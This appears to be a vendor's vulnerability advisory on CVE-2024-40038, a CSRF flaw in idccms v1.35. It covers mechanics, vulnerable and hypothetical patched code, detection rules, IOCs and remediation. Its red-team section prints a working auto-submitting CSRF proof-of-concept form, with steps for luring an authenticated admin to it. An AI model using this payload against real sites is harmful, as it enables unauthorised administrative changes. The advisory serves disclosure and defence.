CVE-2024-40038
Executive Summary
CVE-2024-40038 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/userScore_deal.php?mudi=rev endpoint, allowing an attacker to forge requests on behalf of an authenticated administrator. Successful exploitation can lead to unauthorized modification of user scores, privilege escalation, or other administrative actions without the victim's consent. The vulnerability is classified under CWE-352 and has a CVSS v3.1 base score of 8.8 (High). No official patch has been released, and public proof-of-concept (PoC) code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability requires user interaction but can lead to full administrative compromise of the idccms application.
Deep Dive & Mechanics
The CSRF vulnerability exists because the /admin/userScore_deal.php?mudi=rev endpoint does not implement any anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, automatically submits a forged POST/GET request to the vulnerable endpoint. This can modify user scores, potentially granting unauthorized privileges or disrupting the application's integrity.
Root Cause: Lack of CSRF protection mechanisms (e.g., tokens, SameSite cookies, or referrer checks) in the administrative interface.
Attack Flow:
- Attacker identifies an authenticated admin session (e.g., via cookie).
- Attacker crafts a malicious link or embeds a hidden form in a webpage.
- Victim (admin) clicks the link or visits the page while authenticated.
- The forged request is sent to
/admin/userScore_deal.php?mudi=revwith attacker-controlled parameters. - The server processes the request, modifying user scores as desired.
Vulnerable vs. Patched Code
Vulnerable Code (idccms v1.35):
// /admin/userScore_deal.php (simplified)
if ($_GET['mudi'] == 'rev') {
$uid = $_POST['uid'];
$score = $_POST['score'];
// No CSRF check
$db->query("UPDATE users SET score = $score WHERE id = $uid");
}
Patched Code (Hypothetical):
// /admin/userScore_deal.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed");
}
if ($_GET['mudi'] == 'rev') {
$uid = intval($_POST['uid']);
$score = intval($_POST['score']);
$db->query("UPDATE users SET score = $score WHERE id = $uid");
}
Note: No official patch is available. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running idccms v1.35.
- Admin user authenticated (session cookie).
PoC HTML (csrf_poc.html):
<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target.com/admin/userScore_deal.php?mudi=rev" method="POST">
<input type="hidden" name="uid" value="1">
<input type="hidden" name="score" value="9999">
<input type="submit" value="Claim Prize">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Usage:
- Host the HTML on an attacker-controlled server.
- Send the link to the victim admin (e.g., via email or social engineering).
- When the admin clicks, the form auto-submits, modifying user ID 1's score to 9999.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected POST requests to
/admin/userScore_deal.php?mudi=revwithout a valid CSRF token. - Alert on multiple rapid score changes from a single admin session.
Defense:
- Implement CSRF tokens (as shown in patched code).
- Set SameSite cookies to
LaxorStrict. - Validate the
Refererheader (though not foolproof). - Use CAPTCHA for sensitive actions.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/admin/userScore_deal.php?mudi=revwith parametersuidandscore. - Logs: Unusual score modification events in admin logs.
- File: Presence of
csrf_poc.htmlor similar files on the server. - Session: Multiple admin sessions from different IPs performing score changes.
Detection Engineering
YARA Rule
rule idccms_csrf_poc {
meta:
description = "Detects CSRF PoC HTML targeting idccms v1.35"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "admin/userScore_deal.php?mudi=rev" ascii wide nocase
$s2 = "uid" ascii wide nocase
$s3 = "score" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CSRF Attempt Against idccms userScore_deal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to idccms userScore_deal.php with mudi=rev
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin/userScore_deal.php?mudi=rev'
condition: selection
falsepositives:
- Legitimate admin actions (if CSRF token is present)
level: high
Suricata Rule
alert http any any -> any any (msg:"idccms CSRF Attempt - userScore_deal"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/userScore_deal.php"; http.uri; content:"mudi=rev"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not essential: Block access to
/admin/userScore_deal.phpvia web server configuration (e.g.,.htaccess). - Implement CSRF tokens as shown in the patched code example.
- Enforce SameSite cookies (set to
LaxorStrict). - Add referrer validation (check
HTTP_REFERERmatches the admin domain).
Long-Term Fix:
- Upgrade to a patched version when available (currently none).
- Conduct a full security audit of the idccms codebase for similar CSRF issues.
Workaround:
- Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid CSRF token.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.